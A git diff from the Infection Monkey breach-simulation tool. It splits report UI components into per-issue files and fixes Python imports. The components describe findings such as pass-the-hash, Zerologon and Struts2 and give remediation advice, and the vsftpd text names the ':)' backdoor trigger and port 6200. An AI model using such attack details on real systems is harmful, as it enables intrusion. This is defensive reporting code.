    - - ); - } - - generateAzureIssue(issue) { - return ( - <> - Delete VM Access plugin configuration files. - - Credentials could be stolen from {issue.machine} for the following users {issue.users}. Read more about the security issue and remediation here. - - - ); - } - - generateConfickerIssue(issue) { - return ( - <> - Install the latest Windows updates or upgrade to a newer operating system. - - The machine {issue.machine} ({issue.ip_address}) is vulnerable to a Conficker attack. -
    - The attack was made possible because the target machine used an outdated and unpatched operating system - vulnerable to Conficker. -
    - - ); - } - - generateIslandCrossSegmentIssue(issue) { - return ( - <> - Segment your network and make sure there is no communication between machines from different segments. - - The network can probably be segmented. A monkey instance on {issue.machine} in the - networks {this.generateInfoBadges(issue.networks)} - could directly access the Monkey Island server in the - networks {this.generateInfoBadges(issue.server_networks)}. - - - ); - } - - generateSharedCredsDomainIssue(issue) { - return ( - <> - Some domain users are sharing passwords, this should be fixed by changing passwords. - - These users are sharing access password: - {this.generateInfoBadges(issue.shared_with)}. - - - ); - } - - generateSharedCredsIssue(issue) { - return ( - <> - Some users are sharing passwords, this should be fixed by changing passwords. - - These users are sharing access password: - {this.generateInfoBadges(issue.shared_with)}. - - - ); - } - - generateSharedLocalAdminsIssue(issue) { - return ( - <> - Make sure the right administrator accounts are managing the right machines, and that there isn’t an - unintentional local - admin sharing. - - Here is a list of machines which the account {issue.username} is defined as an administrator: - {this.generateInfoBadges(issue.shared_machines)} - - - ); - } - - generateStrongUsersOnCritIssue(issue) { - return ( - <> - This critical machine is open to attacks via strong users with access to it. - - The services: {this.generateInfoBadges(issue.services)} have been found on the machine - thus classifying it as a critical machine. - These users has access to it: - {this.generateInfoBadges(issue.threatening_users)}. - - - ); - } - - generateTunnelIssue(issue) { - return ( - <> - Use micro-segmentation policies to disable communication other than the required. - - Machines are not locked down at port level. Network tunnel was set up from {issue.machine} to {issue.dest}. - - - ); - } - - generateStruts2Issue(issue) { - return ( - <> - Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions. - - Struts2 server at {issue.machine} ({issue.ip_address}) is vulnerable to remote code execution attack. -
    - The attack was made possible because the server is using an old version of Jakarta based file upload - Multipart parser. For possible work-arounds and more info read here. -
    - - ); - } - - generateDrupalIssue(issue) { - return ( - <> - Upgrade Drupal server to versions 8.5.11, 8.6.10, or later. - - Drupal server at {issue.machine} ({issue.ip_address}) is vulnerable to remote command execution attack. -
    - The attack was made possible because the server is using an old version of Drupal, for which REST API is - enabled. For possible workarounds, fixes and more info read - here. -
    - - ); - } - - generateWebLogicIssue(issue) { - return ( - <> - Update Oracle WebLogic server to the latest supported version. - - Oracle WebLogic server at {issue.machine} ({issue.ip_address}) is vulnerable to one of remote code execution attacks. -
    - The attack was made possible due to one of the following vulnerabilities: - CVE-2017-10271 or - CVE-2019-2725 -
    - - ); - } - - generateHadoopIssue(issue) { - return ( - <> - Run Hadoop in secure mode ( - add Kerberos authentication). - - The Hadoop server at {issue.machine} ({issue.ip_address}) is vulnerable to remote code execution attack. -
    - The attack was made possible due to default Hadoop/Yarn configuration being insecure. -
    - - ); - } - - generateMSSQLIssue(issue) { - return ( - <> - Disable the xp_cmdshell option. - - The machine {issue.machine} ({issue.ip_address}) is vulnerable to a MSSQL exploit attack. -
    - The attack was made possible because the target machine used an outdated MSSQL server configuration allowing - the usage of the xp_cmdshell command. To learn more about how to disable this feature, read - . -
    - - ); - } - - generateZerologonIssue(issue) { - return ( - <> - Install Windows security updates. - - The machine {issue.machine} ({issue.ip_address}) is vulnerable to a Zerologon exploit. -
    - The attack was possible because the latest security updates from Microsoft - have not been applied to this machine. For more information about this - vulnerability, read - . - {!issue.password_restored && -
    -
    - - The domain controller's password was changed during the exploit and could not be restored successfully. - Instructions on how to manually reset the domain controller's password can be found - . - -
    } -
    - - ); - } - generateIssue = (issue) => { - let issueData; - switch (issue.type) { - case 'vsftp': - issueData = this.generateVsftpdBackdoorIssue(issue); - break; - case 'smb_password': - issueData = this.generateSmbPasswordIssue(issue); - break; - case 'smb_pth': - issueData = this.generateSmbPthIssue(issue); - break; - case 'wmi_password': - issueData = this.generateWmiPasswordIssue(issue); - break; - case 'wmi_pth': - issueData = this.generateWmiPthIssue(issue); - break; - case 'ssh': - issueData = this.generateSshIssue(issue); - break; - case 'ssh_key': - issueData = this.generateSshKeysIssue(issue); - break; - case 'sambacry': - issueData = this.generateSambaCryIssue(issue); - break; - case 'elastic': - issueData = this.generateElasticIssue(issue); - break; - case 'shellshock': - issueData = this.generateShellshockIssue(issue); - break; - case 'conficker': - issueData = this.generateConfickerIssue(issue); - break; - case 'island_cross_segment': - issueData = this.generateIslandCrossSegmentIssue(issue); - break; - case 'shared_passwords': - issueData = this.generateSharedCredsIssue(issue); - break; - case 'shared_passwords_domain': - issueData = this.generateSharedCredsDomainIssue(issue); - break; - case 'shared_admins_domain': - issueData = this.generateSharedLocalAdminsIssue(issue); - break; - case 'strong_users_on_crit': - issueData = this.generateStrongUsersOnCritIssue(issue); - break; - case 'tunnel': - issueData = this.generateTunnelIssue(issue); - break; - case 'azure_password': - issueData = this.generateAzureIssue(issue); - break; - case 'struts2': - issueData = this.generateStruts2Issue(issue); - break; - case 'weblogic': - issueData = this.generateWebLogicIssue(issue); - break; - case 'hadoop': - issueData = this.generateHadoopIssue(issue); - break; - case 'mssql': - issueData = this.generateMSSQLIssue(issue); - break; - case 'drupal': - issueData = this.generateDrupalIssue(issue); - break; - case 'zerologon': - issueData = this.generateZerologonIssue(issue); - break; + let issueDescriptor = this.IssueDescriptorEnum[issue.type]; + + let reportFnc = (issue) => {}; + if(issue.hasOwnProperty('credential_type')) { + reportFnc = issueDescriptor[this.issueContentTypes.REPORT][issue.credential_type]; + } else { + reportFnc = issueDescriptor[this.issueContentTypes.REPORT]; } - return
  • {issueData}
  • ; + let reportContents = reportFnc(issue); + return
  • {reportContents}
  • ; }; generateIssues = (issues) => { diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/IssueDescriptor.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/IssueDescriptor.js new file mode 100644 index 00000000000..330bf382876 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/IssueDescriptor.js @@ -0,0 +1,7 @@ +class IssueDescriptor { + constructor(name, overviewComponent, reportComponent) { + this.name = name; + this.overviewComponent = overviewComponent; + this.reportComponent = reportComponent; + } +} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/AzurePasswordIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/AzurePasswordIssue.js new file mode 100644 index 00000000000..5c849b1c62e --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/AzurePasswordIssue.js @@ -0,0 +1,22 @@ +import React from 'react'; + +export function AzurePasswordIssueOverview() { + return (
  • Azure machines expose plaintext passwords. (More info)
  • ) +} + +export function AzurePasswordIssueReport(issue) { + return ( + <> + Delete VM Access plugin configuration files. + + Credentials could be stolen from {issue.machine} for the following users {issue.users}. Read more about the security issue and remediation here. + + + ); +} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/CrossSegmentIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/CrossSegmentIssue.js new file mode 100644 index 00000000000..48ffffb5953 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/CrossSegmentIssue.js @@ -0,0 +1,84 @@ +import React from 'react'; +import CollapsibleWellComponent from '../CollapsibleWell'; +import {generateInfoBadges} from './utils'; + +export function crossSegmentIssueOverview() { + return (
  • Weak segmentation - Machines from + different segments are able to communicate.
  • ) +} + +export function generateCrossSegmentIssue(crossSegmentIssue) { + let crossSegmentIssueOverview = 'Communication possible from ' + + `${crossSegmentIssue['source_subnet']} to ${crossSegmentIssue['target_subnet']}`; + + return ( +
  • + {crossSegmentIssueOverview} + +
      + {crossSegmentIssue['issues'].map( + issue => generateCrossSegmentIssueListItem(issue) + )} +
    +
    +
  • + ); + } + +export function generateCrossSegmentIssueListItem(issue) { + if (issue['is_self']) { + return this.generateCrossSegmentSingleHostMessage(issue); + } + + return this.generateCrossSegmentMultiHostMessage(issue); + } + +export function generateCrossSegmentSingleHostMessage(issue) { + return ( +
  • + {`Machine ${issue['hostname']} has both ips: ${issue['source']} and ${issue['target']}`} +
  • + ); + } + +export function generateCrossSegmentMultiHostMessage(issue) { + return ( +
  • + IP {issue['source']} ({issue['hostname']}) was able to communicate with + IP {issue['target']} using: +
      + {issue['icmp'] &&
    • ICMP
    • } + {this.generateCrossSegmentServiceListItems(issue)} +
    +
  • + ); + } + +export function generateCrossSegmentServiceListItems(issue) { + let service_list_items = []; + + for (const [service, info] of Object.entries(issue['services'])) { + service_list_items.push( +
  • + {service} ({info['display_name']}) +
  • + ); + } + + return service_list_items; + } + +export function generateIslandCrossSegmentIssue(issue) { + return ( + <> + Segment your network and make sure there is no communication between machines from different segments. + + The network can probably be segmented. A monkey instance on {issue.machine} in the + networks {generateInfoBadges(issue.networks)} + could directly access the Monkey Island server in the + networks {generateInfoBadges(issue.server_networks)}. + + + ); + } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/DrupalIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/DrupalIssue.js new file mode 100644 index 00000000000..eefe69ea32f --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/DrupalIssue.js @@ -0,0 +1,23 @@ +import React from 'react'; + +export function DrupalIssueOverview() { + return (
  • Drupal server/s are vulnerable to CVE-2019-6340.
  • ) +} + +export function DrupalIssueReport(issue) { + return ( + <> + Upgrade Drupal server to versions 8.5.11, 8.6.10, or later. + + Drupal server at {issue.machine} ({issue.ip_address}) is vulnerable to remote command execution attack. +
    + The attack was made possible because the server is using an old version of Drupal, for which REST API is + enabled. For possible workarounds, fixes and more info read + here. +
    + + ); +} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ElasticIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ElasticIssue.js new file mode 100644 index 00000000000..60f42fe64c3 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ElasticIssue.js @@ -0,0 +1,22 @@ +import React from 'react'; + +export function ElasticIssueOverview() { + return (
  • Elasticsearch servers are vulnerable to CVE-2015-1427. +
  • ) +} + +export function ElasticIssueReport(issue) { + return ( + <> + Update your Elastic Search server to version 1.4.3 and up. + + The machine {issue.machine} ({issue.ip_address}) is vulnerable to an Elastic Groovy attack. +
    + The attack was made possible because the Elastic Search server was not patched against CVE-2015-1427. +
    + + ); +} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/HadoopIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/HadoopIssue.js new file mode 100644 index 00000000000..dfcf552260a --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/HadoopIssue.js @@ -0,0 +1,22 @@ +import React from 'react'; + +export function HadoopIssueOverview() { + return (
  • Hadoop/Yarn servers are vulnerable to remote code execution.
  • ) +} + +export function HadoopIssueReport(issue) { + return ( + <> + Run Hadoop in secure mode ( + add Kerberos authentication). + + The Hadoop server at {issue.machine} ({issue.ip_address}) is vulnerable to remote code execution attack. +
    + The attack was made possible due to default Hadoop/Yarn configuration being insecure. +
    + + ); +} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/MS08_067Issue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/MS08_067Issue.js new file mode 100644 index 00000000000..fb679b42037 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/MS08_067Issue.js @@ -0,0 +1,23 @@ +import React from 'react'; + +export function MS08_067IssueOverview() { + return (
  • Machines are vulnerable to ‘Conficker’ (MS08-067).
  • ) +} + +export function MS08_067IssueReport(issue) { + return ( + <> + Install the latest Windows updates or upgrade to a newer operating system. + + The machine {issue.machine} ({issue.ip_address}) is vulnerable to a Conficker attack. +
    + The attack was made possible because the target machine used an outdated and unpatched operating system + vulnerable to Conficker. +
    + + ); +} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/MssqlIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/MssqlIssue.js new file mode 100644 index 00000000000..2bc4ef14adc --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/MssqlIssue.js @@ -0,0 +1,23 @@ +import React from 'react'; + +export function MssqlIssueOverview() { + return (
  • MS-SQL servers are vulnerable to remote code execution via xp_cmdshell command.
  • ) +} + +export function MssqlIssueReport(issue) { + return ( + <> + Disable the xp_cmdshell option. + + The machine {issue.machine} ({issue.ip_address}) is vulnerable to a MSSQL exploit attack. +
    + The attack was made possible because the target machine used an outdated MSSQL server configuration allowing + the usage of the xp_cmdshell command. To learn more about how to disable this feature, read + Microsoft's documentation. +
    + + ); +} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/PthCriticalServiceIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/PthCriticalServiceIssue.js new file mode 100644 index 00000000000..3a78c30082c --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/PthCriticalServiceIssue.js @@ -0,0 +1,6 @@ +import React from 'react'; + +export function PthCriticalServiceIssueOverview() { + return (
  • Mimikatz found login credentials of a user who has admin access to a server defined as + critical.
  • ) +} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SambacryIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SambacryIssue.js new file mode 100644 index 00000000000..cce80d2ed12 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SambacryIssue.js @@ -0,0 +1,27 @@ +import React from 'react'; + +export function SambacryIssueOverview() { + return (
  • Samba servers are vulnerable to ‘SambaCry’ (CVE-2017-7494).
  • ) +} + +export function SambacryIssueReport(issue) { + return ( + <> + Change {issue.username}'s password to a complex one-use password + that is not shared with other computers on the network. +
    + Update your Samba server to 4.4.14 and up, 4.5.10 and up, or 4.6.4 and up. + + The machine {issue.machine} ({issue.ip_address}) is vulnerable to a SambaCry attack. +
    + The Monkey authenticated over the SMB protocol with user {issue.username} and its password, and used the SambaCry + vulnerability. +
    + + ); +} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SharedPasswordsIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SharedPasswordsIssue.js new file mode 100644 index 00000000000..cd9dd2fbd08 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SharedPasswordsIssue.js @@ -0,0 +1,49 @@ +import React from 'react'; + +export function sharedPasswordsIssueOverview() { + return (
  • Multiple users have the same password
  • ) +} + +export function sharedAdminsDomainIssueOverview() { + return (
  • Shared local administrator account - Different machines have the same account as a local + administrator.
  • ) +} + +export function generateSharedCredsDomainIssue(issue) { + return ( + <> + Some domain users are sharing passwords, this should be fixed by changing passwords. + + These users are sharing access password: + {this.generateInfoBadges(issue.shared_with)}. + + + ); + } + +export function generateSharedCredsIssue(issue) { + return ( + <> + Some users are sharing passwords, this should be fixed by changing passwords. + + These users are sharing access password: + {this.generateInfoBadges(issue.shared_with)}. + + + ); + } + +export function generateSharedLocalAdminsIssue(issue) { + return ( + <> + Make sure the right administrator accounts are managing the right machines, and that there isn’t an + unintentional local + admin sharing. + + Here is a list of machines which the account {issue.username} is defined as an administrator: + {this.generateInfoBadges(issue.shared_machines)} + + + ); + } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ShellShockIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ShellShockIssue.js new file mode 100644 index 00000000000..1d143d2211d --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ShellShockIssue.js @@ -0,0 +1,29 @@ +import React from 'react'; + +export function ShellShockIssueOverview() { + return (
  • Machines are vulnerable to ‘Shellshock’ (CVE-2014-6271). +
  • ) +} + + +function generateShellshockPathListBadges(paths) { + return paths.map(path => {path}); +} + +export function ShellShockIssueReport(issue) { + return ( + <> + Update your Bash to a ShellShock-patched version. + + The machine {issue.machine} ({issue.ip_address}) is vulnerable to a ShellShock attack. +
    + The attack was made possible because the HTTP server running on TCP port {issue.port} was vulnerable to a shell injection attack on the + paths: {generateShellshockPathListBadges(issue.paths)}. +
    + + ); +} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SmbIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SmbIssue.js new file mode 100644 index 00000000000..eec516a3e60 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SmbIssue.js @@ -0,0 +1,36 @@ +import React from 'react'; +import CollapsibleWellComponent from '../CollapsibleWell'; + +export function generateSmbPasswordReport(issue) { + return ( + <> + Change {issue.username}'s password to a complex one-use password + that is not shared with other computers on the network. + + The machine {issue.machine} ({issue.ip_address}) is vulnerable to a SMB attack. +
    + The Monkey authenticated over the SMB protocol with user {issue.username} and its password. +
    + + ); +} + +export function generateSmbPthReport(issue) { + return ( + <> + Change {issue.username}'s password to a complex one-use password + that is not shared with other computers on the network. + + The machine {issue.machine} ({issue.ip_address}) is vulnerable to a SMB attack. +
    + The Monkey used a pass-the-hash attack over SMB protocol with user {issue.username}. +
    + + ); +} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SshIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SshIssue.js new file mode 100644 index 00000000000..baf92bfb763 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SshIssue.js @@ -0,0 +1,38 @@ +import React from 'react'; + +export function SshIssueOverview() { + return (
  • Stolen SSH keys are used to exploit other machines.
  • ) +} + +export function ShhIssueReport(issue) { + return ( + <> + Change {issue.username}'s password to a complex one-use password + that is not shared with other computers on the network. + + The machine {issue.machine} ({issue.ip_address}) is vulnerable to a SSH attack. +
    + The Monkey authenticated over the SSH protocol with user {issue.username} and its password. +
    + + ); +} + +export function generateSshKeysReport(issue) { + return ( + <> + Protect {issue.ssh_key} private key with a pass phrase. + + The machine {issue.machine} ({issue.ip_address}) is vulnerable to a SSH attack. +
    + The Monkey authenticated over the SSH protocol with private key {issue.ssh_key}. +
    + + ); + } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/StolenCredsIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/StolenCredsIssue.js new file mode 100644 index 00000000000..62d92ccc3dc --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/StolenCredsIssue.js @@ -0,0 +1,5 @@ +import React from 'react'; + +export function StolenCredsIssueOverview() { + return (
  • Stolen credentials are used to exploit other machines.
  • ) +} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/StrongUsersOnCritIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/StrongUsersOnCritIssue.js new file mode 100644 index 00000000000..218a8704d2b --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/StrongUsersOnCritIssue.js @@ -0,0 +1,15 @@ +import React from 'react'; + +export function generateStrongUsersOnCritIssue(issue) { + return ( + <> + This critical machine is open to attacks via strong users with access to it. + + The services: {this.generateInfoBadges(issue.services)} have been found on the machine + thus classifying it as a critical machine. + These users has access to it: + {this.generateInfoBadges(issue.threatening_users)}. + + + ); + } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Struts2Issue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Struts2Issue.js new file mode 100644 index 00000000000..7847f447ef8 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Struts2Issue.js @@ -0,0 +1,25 @@ +import React from 'react'; + +export function Struts2IssueOverview() { + return (
  • Struts2 servers are vulnerable to remote code execution. ( + CVE-2017-5638)
  • ) +} + +export function Struts2IssueReport(issue) { + return ( + <> + Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions. + + Struts2 server at {issue.machine} ({issue.ip_address}) is vulnerable to remote code execution attack. +
    + The attack was made possible because the server is using an old version of Jakarta based file upload + Multipart parser. For possible work-arounds and more info read here. +
    + + ); +} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/TunnelIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/TunnelIssue.js new file mode 100644 index 00000000000..6d0accd56e2 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/TunnelIssue.js @@ -0,0 +1,18 @@ +import React from 'react'; + +export function generateTunnelIssueOverview(){ + return (
  • Weak segmentation - Machines were able to communicate over unused ports.
  • ) +} + +export function generateTunnelIssue(issue) { + return ( + <> + Use micro-segmentation policies to disable communication other than the required. + + Machines are not locked down at port level. Network tunnel was set up from {issue.machine} to {issue.dest}. + + + ); + } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/VsftpdIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/VsftpdIssue.js new file mode 100644 index 00000000000..0dae286e18f --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/VsftpdIssue.js @@ -0,0 +1,35 @@ +import React from 'react'; + +export function VsftpdIssueOverview() { + return (
  • VSFTPD is vulnerable to CVE-2011-2523. +
  • ) +} + +export function VsftpdIssueReport(issue) { + return ( + <> + Update your VSFTPD server to the latest version vsftpd-3.0.3. + + The machine {issue.machine} ({issue.ip_address}) has a backdoor running at + port 6200. +
    + The attack was made possible because the VSFTPD server was not patched against CVE-2011-2523. +

    In July 2011, it was discovered that vsftpd version 2.3.4 downloadable from the master site had been + compromised. + Users logging into a compromised vsftpd-2.3.4 server may issue a ":)" smileyface as the username and gain a + command + shell on port 6200. +

    + The Monkey executed commands by first logging in with ":)" in the username and then sending commands to the + backdoor + at port 6200. +

    Read more about the security issue and remediation here. +
    + + ); +} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/WeakPasswordIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/WeakPasswordIssue.js new file mode 100644 index 00000000000..0a7ba30b1f3 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/WeakPasswordIssue.js @@ -0,0 +1,6 @@ +import React from 'react'; + +export function WeakPasswordIssueOverview() { + return (
  • Machines are accessible using passwords supplied by the user during the Monkey’s + configuration.
  • ) +} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/WebLogicIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/WebLogicIssue.js new file mode 100644 index 00000000000..88d0112facb --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/WebLogicIssue.js @@ -0,0 +1,22 @@ +import React from 'react'; + +export function WebLogicIssueOverview() { + return (
  • Oracle WebLogic servers are susceptible to a remote code execution vulnerability.
  • ) +} + +export function WebLogicIssueReport(issue) { + return ( + <> + Update Oracle WebLogic server to the latest supported version. + + Oracle WebLogic server at {issue.machine} ({issue.ip_address}) is vulnerable to one of remote code execution attacks. +
    + The attack was made possible due to one of the following vulnerabilities: + CVE-2017-10271 or + CVE-2019-2725 +
    + + ); +} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/WmiIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/WmiIssue.js new file mode 100644 index 00000000000..401f8a9d953 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/WmiIssue.js @@ -0,0 +1,36 @@ +import React from 'react'; +import CollapsibleWellComponent from '../CollapsibleWell'; + +export function generateWmiPasswordIssue(issue) { + return ( + <> + Change {issue.username}'s password to a complex one-use password + that is not shared with other computers on the network. + + The machine {issue.machine} ({issue.ip_address}) is vulnerable to a WMI attack. +
    + The Monkey authenticated over the WMI protocol with user {issue.username} and its password. +
    + + ); + } + +export function generateWmiPthIssue(issue) { + return ( + <> + Change {issue.username}'s password to a complex one-use password + that is not shared with other computers on the network. + + The machine {issue.machine} ({issue.ip_address}) is vulnerable to a WMI attack. +
    + The Monkey used a pass-the-hash attack over WMI protocol with user {issue.username}. +
    + + ); + } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/utils.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/utils.js new file mode 100644 index 00000000000..6bc891201f9 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/utils.js @@ -0,0 +1,6 @@ +import React from 'react'; + +export function generateInfoBadges(data_array) { + return data_array.map(badge_data => {badge_data}); + } From abb7ab09a96ec70220ead3f3d6be8e48eadae59f Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 25 Mar 2021 14:11:56 +0200 Subject: [PATCH 0041/1360] Rebased changes to include what was done in release/1.10.0 --- .../exploiter_descriptor_enum.py | 9 ++--- .../processors/cred_exploit.py | 6 ++-- .../processors/shellshock_exploit.py | 6 ++-- .../reporting/issue_processing/issue.py | 0 .../issue_processing/issue_processor.py | 0 .../cc/services/reporting/report.py | 35 +++++++++++++++++-- 6 files changed, 43 insertions(+), 13 deletions(-) delete mode 100644 monkey/monkey_island/cc/services/reporting/issue_processing/issue.py delete mode 100644 monkey/monkey_island/cc/services/reporting/issue_processing/issue_processor.py diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py index e6820b1786d..8628136d81b 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py @@ -2,9 +2,10 @@ from enum import Enum from typing import Type -from monkey_island.cc.services.reporting.issue_processing.exploit_processing import CredExploitProcessor -from monkey_island.cc.services.reporting.issue_processing.exploit_processing import ExploitProcessor -from monkey_island.cc.services.reporting.issue_processing.exploit_processing import \ +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.cred_exploit import \ + CredExploitProcessor +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ExploitProcessor +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.shellshock_exploit import \ ShellShockExploitProcessor @@ -13,7 +14,7 @@ class ExploiterDescriptor: # Must match with class names of exploiters in Infection Monkey code class_name: str display_name: str - processor: Type[ExploitProcessor] + processor: Type[object] = ExploitProcessor class ExploiterDescriptorEnum(Enum): diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py index fc61676b846..720655b52b4 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py @@ -2,8 +2,8 @@ from enum import Enum -from monkey_island.cc.services.reporting.issue_processing.exploit_processing import ExploitProcessor, \ - ExploiterReportInfo +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import \ + ExploiterReportInfo, ExploitProcessor class CredentialType(Enum): @@ -12,7 +12,7 @@ class CredentialType(Enum): KEY = 'key' -class CredExploitProcessor(ExploitProcessor): +class CredExploitProcessor: @staticmethod def get_exploit_info_by_dict(class_name: str, exploit_dict: dict) -> ExploiterReportInfo: diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/shellshock_exploit.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/shellshock_exploit.py index 181a19f41b5..f8d36d4d89c 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/shellshock_exploit.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/shellshock_exploit.py @@ -1,10 +1,10 @@ from __future__ import annotations -from monkey_island.cc.services.reporting.issue_processing.exploit_processing import ExploitProcessor, \ - ExploiterReportInfo +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import \ + ExploiterReportInfo, ExploitProcessor -class ShellShockExploitProcessor(ExploitProcessor): +class ShellShockExploitProcessor: @staticmethod def get_exploit_info_by_dict(class_name: str, exploit_dict: dict) -> ExploiterReportInfo: diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/issue.py b/monkey/monkey_island/cc/services/reporting/issue_processing/issue.py deleted file mode 100644 index e69de29bb2d..00000000000 diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/issue_processor.py b/monkey/monkey_island/cc/services/reporting/issue_processing/issue_processor.py deleted file mode 100644 index e69de29bb2d..00000000000 diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py index 30f096fb792..181b8616b37 100644 --- a/monkey/monkey_island/cc/services/reporting/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -19,8 +19,10 @@ from monkey_island.cc.services.node import NodeService from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_descriptor_enum import ExploiterDescriptorEnum, \ ExploiterDescriptor -from monkey_island.cc.services.reporting.issue_processing.exploit_processing import CredentialType -from monkey_island.cc.services.reporting.issue_processing.exploit_processing import ExploiterReportInfo +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.cred_exploit import \ + CredentialType +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import \ + ExploiterReportInfo from monkey_island.cc.services.reporting.pth_report import PTHReportService from monkey_island.cc.services.reporting.report_exporter_manager import ReportExporterManager from monkey_island.cc.services.reporting.report_generation_synchronisation import safe_generate_regular_report @@ -544,6 